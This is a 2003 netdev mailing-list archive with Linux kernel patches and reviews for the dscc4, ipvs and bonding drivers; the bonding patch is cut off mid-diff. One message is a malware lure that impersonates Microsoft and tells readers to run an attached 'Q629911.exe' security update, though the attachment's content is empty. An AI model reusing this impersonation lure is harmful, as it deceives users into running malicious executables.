X-archive-position: 113 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 3336 Lines: 112 - dscc4_release_ring() are removed from dscc4_{open/close} as the rings are allocated/freed in dscc4_{found1/free1} (giant stupid bug); - mark dscc4_{rx/tx}_reset with attribute unused as it isn't clear whether they will resurrect or disappear; - removal of label "err_free_ring" in dscc4_open() (it isn't used any more); - handling return status is getting simpler in dscc4_found1(). drivers/net/wan/dscc4.c | 24 ++++++++++++++---------- 1 files changed, 14 insertions(+), 10 deletions(-) diff -puN drivers/net/wan/dscc4.c~dscc4-misplaced-free_ring drivers/net/wan/dscc4.c --- linux-2.6.0-test5-bk7/drivers/net/wan/dscc4.c~dscc4-misplaced-free_ring Sun Sep 21 01:03:49 2003 +++ linux-2.6.0-test5-bk7-fr/drivers/net/wan/dscc4.c Sun Sep 21 02:01:43 2003 @@ -108,7 +108,7 @@ #include /* Version */ -static const char version[] = "$Id: dscc4.c,v 1.159 2002/04/10 22:05:17 romieu Exp $ for Linux\n"; +static const char version[] = "$Id: dscc4.c,v 1.173 2003/09/20 23:55:34 romieu Exp $ for Linux\n"; static int debug; static int quartz; @@ -593,6 +593,8 @@ static inline int dscc4_xpr_ack(struct d return (i >= 0 ) ? i : -EAGAIN; } +/* dscc4_{rx/tx}_reset are both unreliable - more tweak needed */ +__attribute__ ((unused)) static void dscc4_rx_reset(struct dscc4_dev_priv *dpriv, struct net_device *dev) { unsigned long flags; @@ -607,6 +609,7 @@ static void dscc4_rx_reset(struct dscc4_ spin_unlock_irqrestore(&dpriv->pci_priv->lock, flags); } +__attribute__ ((unused)) static void dscc4_tx_reset(struct dscc4_dev_priv *dpriv, struct net_device *dev) { u16 i = 0; @@ -860,7 +863,7 @@ static int dscc4_found1(struct pci_dev * { struct dscc4_pci_priv *ppriv; struct dscc4_dev_priv *root; - int i = 0; + int i, ret = -ENOMEM; root = (struct dscc4_dev_priv *) kmalloc(dev_per_card*sizeof(*root), GFP_KERNEL); @@ -901,7 +904,8 @@ static int dscc4_found1(struct pci_dev * hdlc->xmit = dscc4_start_xmit; hdlc->attach = dscc4_hdlc_attach; - if (register_hdlc_device(hdlc)) { + ret = register_hdlc_device(hdlc); + if (ret < 0) { printk(KERN_ERR "%s: unable to register\n", DRV_NAME); goto err_unregister; } @@ -909,17 +913,20 @@ static int dscc4_found1(struct pci_dev * dscc4_init_registers(dpriv, d); dpriv->parity = PARITY_CRC16_PR0_CCITT; dpriv->encoding = ENCODING_NRZ; - if (dscc4_init_ring(d)) { + + ret = dscc4_init_ring(d); + if (ret < 0) { unregister_hdlc_device(hdlc); goto err_unregister; } } - if (dscc4_set_quartz(root, quartz) < 0) + ret = dscc4_set_quartz(root, quartz); + if (ret < 0) goto err_unregister; ppriv->root = root; spin_lock_init(&ppriv->lock); pci_set_drvdata(pdev, ppriv); - return 0; + return ret; err_unregister: while (--i >= 0) { @@ -930,7 +937,7 @@ err_unregister: err_free_dev: kfree(root); err_out: - return -1; + return ret; }; /* FIXME: get rid of the unneeded code */ @@ -1093,9 +1100,7 @@ done: err_disable_scc_events: scc_writel(0xffffffff, dpriv, dev, IMR); -err_free_ring: scc_patchl(PowerUp | Vis, 0, dpriv, dev, CCR0); - dscc4_release_ring(dpriv); err_out: hdlc_close(hdlc); err: @@ -1161,7 +1166,6 @@ static int dscc4_close(struct net_device dpriv->flags |= FakeReset; hdlc_close(hdlc); - dscc4_release_ring(dpriv); return 0; } _ From ja@ssi.bg Sun Sep 21 00:55:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 00:55:25 -0700 (PDT) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8L7t4Fx030043 for ; Sun, 21 Sep 2003 00:55:10 -0700 Received: from localhost (IDENT:ja@localhost [127.0.0.1]) by u.domain.uli (8.11.6/8.11.6) with ESMTP id h8L7st501681; Sun, 21 Sep 2003 10:54:56 +0300 Date: Sun, 21 Sep 2003 10:54:55 +0300 (EEST) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: Stephen Hemminger cc: Wensong Zhang , , Subject: Re: [PATCH] (3/6) ipvs -- use list_for_each_entry macro's In-Reply-To: <20030916141750.53bbb04e.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 114 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 6270 Lines: 228 Hello, It seems some places become inefficient. May be we have to introduce list_for_each_entry_continue?: * list_for_each_entry_continue - iterate over list of given type * continuing after existing point * @pos: the type * to use as a loop counter. * @head: the head for your list. * @member: the name of the list_struct within the struct. */ #define list_for_each_entry_continue(pos, head, member) \ for (pos = list_entry(pos->member.next, typeof(*pos), member), \ prefetch(pos->member.next); \ &pos->member != (head); \ pos = list_entry(pos->member.next, typeof(*pos), member), \ prefetch(pos->member.next)) below are some comments, there are some strange changes: On Tue, 16 Sep 2003, Stephen Hemminger wrote: > diff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c > --- a/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:39 2003 > +++ b/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:39 2003 > @@ -214,18 +214,14 @@ > */ > void unregister_ip_vs_app(struct ip_vs_app *app) > { > - struct ip_vs_app *inc; > - struct list_head *l = &app->incs_list; > + struct ip_vs_app *inc, *nxt; > > down(&__ip_vs_app_mutex); > > - while (l->next != l) { > - inc = list_entry(l->next, struct ip_vs_app, a_list); > + list_for_each_entry_safe(inc, nxt, &app->incs_list, a_list) { > ip_vs_app_inc_release(inc); > } What happens with this list_del?: > > - list_del(&app->a_list); > - > up(&__ip_vs_app_mutex); > > /* decrease the module use count */ > diff -Nru a/net/ipv4/ipvs/ip_vs_rr.c b/net/ipv4/ipvs/ip_vs_rr.c > --- a/net/ipv4/ipvs/ip_vs_rr.c Tue Sep 16 14:08:39 2003 > +++ b/net/ipv4/ipvs/ip_vs_rr.c Tue Sep 16 14:08:39 2003 > @@ -57,7 +57,7 @@ > static struct ip_vs_dest * > ip_vs_rr_schedule(struct ip_vs_service *svc, struct iphdr *iph) > { > - register struct list_head *p, *q; > + struct list_head *p, *q; > struct ip_vs_dest *dest; > > IP_VS_DBG(6, "ip_vs_rr_schedule(): Scheduling...\n"); > @@ -73,12 +73,12 @@ > continue; > } new empty line, may be your changes to ip_vs_rr.c are not completed/actual? :) : > > + > dest = list_entry(q, struct ip_vs_dest, n_list); > if (!(dest->flags & IP_VS_DEST_F_OVERLOAD) && > atomic_read(&dest->weight) > 0) > /* HIT */ > goto out; Why this line is deleted?: > - q = q->next; > } while (q != p); > write_unlock(&svc->sched_lock); > return NULL; > diff -Nru a/net/ipv4/ipvs/ip_vs_sed.c b/net/ipv4/ipvs/ip_vs_sed.c > --- a/net/ipv4/ipvs/ip_vs_sed.c Tue Sep 16 14:08:39 2003 > +++ b/net/ipv4/ipvs/ip_vs_sed.c Tue Sep 16 14:08:39 2003 > @@ -85,7 +85,6 @@ > static struct ip_vs_dest * > ip_vs_sed_schedule(struct ip_vs_service *svc, struct iphdr *iph) > { > - register struct list_head *l, *e; > struct ip_vs_dest *dest, *least; > unsigned int loh, doh; > > @@ -104,9 +103,7 @@ > * new connections. > */ > > - l = &svc->destinations; > - for (e=l->next; e!=l; e=e->next) { > - least = list_entry(e, struct ip_vs_dest, n_list); > + list_for_each_entry(least, &svc->destinations, n_list) { > if (!(least->flags & IP_VS_DEST_F_OVERLOAD) && > atomic_read(&least->weight) > 0) { > loh = ip_vs_sed_dest_overhead(least); > @@ -119,9 +116,7 @@ > * Find the destination with the least load. > */ Inefficient, list_for_each_entry_continue?: > nextstage: > - for (e=e->next; e!=l; e=e->next) { > - dest = list_entry(e, struct ip_vs_dest, n_list); > - > + list_for_each_entry(dest, &svc->destinations, n_list) { > if (dest->flags & IP_VS_DEST_F_OVERLOAD) > continue; > doh = ip_vs_sed_dest_overhead(dest); > diff -Nru a/net/ipv4/ipvs/ip_vs_wlc.c b/net/ipv4/ipvs/ip_vs_wlc.c > --- a/net/ipv4/ipvs/ip_vs_wlc.c Tue Sep 16 14:08:39 2003 > +++ b/net/ipv4/ipvs/ip_vs_wlc.c Tue Sep 16 14:08:39 2003 > @@ -73,7 +73,6 @@ > static struct ip_vs_dest * > ip_vs_wlc_schedule(struct ip_vs_service *svc, struct iphdr *iph) > { > - register struct list_head *l, *e; > struct ip_vs_dest *dest, *least; > unsigned int loh, doh; > > @@ -92,9 +91,7 @@ > * new connections. > */ > > - l = &svc->destinations; > - for (e=l->next; e!=l; e=e->next) { > - least = list_entry(e, struct ip_vs_dest, n_list); > + list_for_each_entry(least, &svc->destinations, n_list) { > if (!(least->flags & IP_VS_DEST_F_OVERLOAD) && > atomic_read(&least->weight) > 0) { > loh = ip_vs_wlc_dest_overhead(least); > @@ -107,9 +104,7 @@ > * Find the destination with the least load. > */ Shorter, not broken but inefficient, list_for_each_entry_continue?: > nextstage: > - for (e=e->next; e!=l; e=e->next) { > - dest = list_entry(e, struct ip_vs_dest, n_list); > - > + list_for_each_entry(dest, &svc->destinations, n_list) { > if (dest->flags & IP_VS_DEST_F_OVERLOAD) > continue; > doh = ip_vs_wlc_dest_overhead(dest); > diff -Nru a/net/ipv4/ipvs/ip_vs_wrr.c b/net/ipv4/ipvs/ip_vs_wrr.c > --- a/net/ipv4/ipvs/ip_vs_wrr.c Tue Sep 16 14:08:39 2003 > +++ b/net/ipv4/ipvs/ip_vs_wrr.c Tue Sep 16 14:08:39 2003 > @@ -56,25 +56,22 @@ > > static int ip_vs_wrr_gcd_weight(struct ip_vs_service *svc) > { > - register struct list_head *l, *e; > struct ip_vs_dest *dest; > int weight; > int g = 1; > > - l = &svc->destinations; > - for (e=l->next; e!=l; e=e->next) { > - dest = list_entry(e, struct ip_vs_dest, n_list); > + list_for_each_entry(dest, &svc->destinations, n_list) { > weight = atomic_read(&dest->weight); > if (weight > 0) { > g = weight; > - break; > + goto search_gcd; > } > } > - if (e == l) > - return g; > > - for (e=e->next; e!=l; e=e->next) { > - dest = list_entry(e, struct ip_vs_dest, n_list); > + return g; > + It still does not look good: > + search_gcd: > + list_for_each_entry(dest, &svc->destinations, n_list) { > weight = atomic_read(&dest->weight); > if (weight > 0) > g = gcd(weight, g); > @@ -89,13 +86,10 @@ What about such version?: static int ip_vs_wrr_gcd_weight(struct ip_vs_service *svc) { struct ip_vs_dest *dest; int weight; int g = 0; list_for_each_entry(dest, &svc->destinations, n_list) { weight = atomic_read(&dest->weight); if (weight > 0) { if (g > 0) g = gcd(weight, g); else g = weight; } } return g?: 1; } Regards -- Julian Anastasov From airsilver1@libertysurf.fr Sun Sep 21 03:26:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 03:26:40 -0700 (PDT) Received: from mail.libertysurf.net (mail.libertysurf.net [213.36.80.91]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LAQTFx002062 for ; Sun, 21 Sep 2003 03:26:30 -0700 Received: from lvsqvh (81.166.9.251) by mail.libertysurf.net (6.5.034) id 3F557CC800A26E5A; Sun, 21 Sep 2003 12:25:54 +0200 Date: Sun, 21 Sep 2003 12:25:54 +0200 (added by postmaster@libertysurf.fr) Message-ID: <3F557CC800A26E5A@mail03.pds.libertysurf.fr> (added by postmaster@libertysurf.fr) FROM: "Microsoft Corporation Technical Services" TO: "Microsoft Partner" Subject: Last Critical Update Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="basnqgawquzg" X-archive-position: 115 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: airsilver1@libertysurf.fr Precedence: bulk X-list: netdev Content-Length: 12495 Lines: 296 --basnqgawquzg Content-Type: multipart/related; boundary="mksnqhcgkr"; type="multipart/alternative" --mksnqhcgkr Content-Type: multipart/alternative; boundary="qqjbpbzln" --qqjbpbzln Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Partner this is the latest version of security update, the "September 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to maintain the security of your computer from these vulnerabilities, the most serious of which could allow an attacker to run executable on your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. --qqjbpbzln Content-Type: text/html Content-Transfer-Encoding: quoted-printable
  Microsoft   All Products |  Support |  Search |  Microsoft.com Guide 
Microsoft Home  
 

Microsoft Partner

this is the latest version of security update, the "September 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to maintain the security of your computer from these vulnerabilities, the most serious of which could allow an attacker to run executable on your computer. This update includes the functionality = of all previously released patches.


 System requirements Windows 95/98/Me/2000/NT/XP
 This update applies to MS Internet Explorer, version 4.01 and later
MS Outlook, version 8.00 and later
MS Outlook Express, version 4.01 and later
 Recommendation Customers should install the patch = at the earliest opportunity.
 How to install Run attached file. = Choose Yes on displayed dialog box.
 How to use You don't need to do = anything after installing this item.

Microsoft Product Support Services and Knowledge Base articles can be found on the Microsoft Technical Support web site. = For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site, = or Contact Us.

Thank you for using Microsoft products.

Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.

The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.

Contact Us  |  Legal  |  TRUSTe
©2003 Microsoft Corporation. All rights reserved. Terms of Use  |  Privacy Statement |  Accessibility
--qqjbpbzln-- --mksnqhcgkr Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z 3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk 3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt 9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx /+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r 9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV 606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg 4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAaAA7AAAI/gCVCRxI sKDBgwgTKlzIsKHDhxAjKgwiqs2kSJEgQfqyp2PHLxoxTmojSpTEkyglBrGYcU+el3n09PEDSFKg mzclAfLTRw/MPV4gjTSZsmhRURchuXwUs88fSYIGubEiqyqAq1gBNLPiRlCgPz197tE4MojRswuD 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 --mksnqhcgkr Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St 3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7 zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --mksnqhcgkr-- --basnqgawquzg Content-Type: application/x-msdownload; name="Q629911.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment --basnqgawquzg-- From shmulik.hen@intel.com Sun Sep 21 04:03:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 04:03:50 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LB3bFx004351 for ; Sun, 21 Sep 2003 04:03:38 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8LB1Bo26832 for ; Sun, 21 Sep 2003 11:01:11 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8LAwBf02108 for ; Sun, 21 Sep 2003 10:58:12 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092104032827453 ; Sun, 21 Sep 2003 04:03:29 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: "Jeff Garzik" , "Noam, Amir" Subject: Re: [PATCH 10/10] [bonding 2.6] Fix ipx_hdr compile error Date: Sun, 21 Sep 2003 14:03:26 +0300 User-Agent: KMail/1.4.3 Cc: , References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309211403.26831.shmulik.hen@intel.com> X-archive-position: 116 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 7548 Lines: 256 On Saturday 20 September 2003 09:18 pm, Jeff Garzik wrote: > All patches in this series applied except patch2. > > > patch2 looks OK, but did not apply cleanly. I suspect that Shmulik > Hen's forward somehow garbled the patch. > > > Please resend patch2 (again). > > > Jeff Damn non-unix mailer can't do anything right :( Amir is out till Tuesday, so here it is once again, hope this time there are no problems. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:14 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:15 2003 @@ -2191,8 +2191,9 @@ out: static void bond_mii_monitor(struct net_device *master) { bonding_t *bond = (struct bonding *) master->priv; - slave_t *slave, *bestslave, *oldcurrent; + slave_t *slave, *oldcurrent; int slave_died = 0; + int do_failover = 0; read_lock(&bond->lock); @@ -2202,7 +2203,6 @@ static void bond_mii_monitor(struct net_ * program could monitor the link itself if needed. */ - bestslave = NULL; slave = (slave_t *)bond; read_lock(&bond->ptrlock); @@ -2210,8 +2210,6 @@ static void bond_mii_monitor(struct net_ read_unlock(&bond->ptrlock); while ((slave = slave->prev) != (slave_t *)bond) { - /* use updelay+1 to match an UP slave even when updelay is 0 */ - int mindelay = updelay + 1; struct net_device *dev = slave->dev; int link_state; u16 old_speed = slave->speed; @@ -2222,14 +2220,7 @@ static void bond_mii_monitor(struct net_ switch (slave->link) { case BOND_LINK_UP: /* the link was up */ if (link_state == BMSR_LSTATUS) { - /* link stays up, tell that this one - is immediately available */ - if (IS_UP(dev) && (mindelay > -2)) { - /* -2 is the best case : - this slave was already up */ - mindelay = -2; - bestslave = slave; - } + /* link stays up, nothing more to do */ break; } else { /* link going down */ @@ -2269,6 +2260,7 @@ static void bond_mii_monitor(struct net_ (bond_mode == BOND_MODE_8023AD)) { bond_set_slave_inactive_flags(slave); } + printk(KERN_INFO "%s: link status definitely down " "for interface %s, disabling it", @@ -2285,12 +2277,10 @@ static void bond_mii_monitor(struct net_ bond_alb_handle_link_change(bond, slave, BOND_LINK_DOWN); } - write_lock(&bond->ptrlock); - if (slave == bond->current_slave) { - /* find a new interface and be verbose */ - reselect_active_interface(bond); + if (slave == oldcurrent) { + do_failover = 1; } - write_unlock(&bond->ptrlock); + slave_died = 1; } else { slave->delay--; @@ -2305,13 +2295,6 @@ static void bond_mii_monitor(struct net_ master->name, (downdelay - slave->delay) * miimon, dev->name); - - if (IS_UP(dev) && (mindelay > -1)) { - /* -1 is a good case : this slave went - down only for a short time */ - mindelay = -1; - bestslave = slave; - } } break; case BOND_LINK_DOWN: /* the link was down */ @@ -2381,26 +2364,12 @@ static void bond_mii_monitor(struct net_ bond_alb_handle_link_change(bond, slave, BOND_LINK_UP); } - write_lock(&bond->ptrlock); - if ( (bond->primary_slave != NULL) - && (slave == bond->primary_slave) ) - reselect_active_interface(bond); - write_unlock(&bond->ptrlock); - } - else + if ((oldcurrent == NULL) || + (slave == bond->primary_slave)) { + do_failover = 1; + } + } else { slave->delay--; - - /* we'll also look for the mostly eligible slave */ - if (bond->primary_slave == NULL) { - if 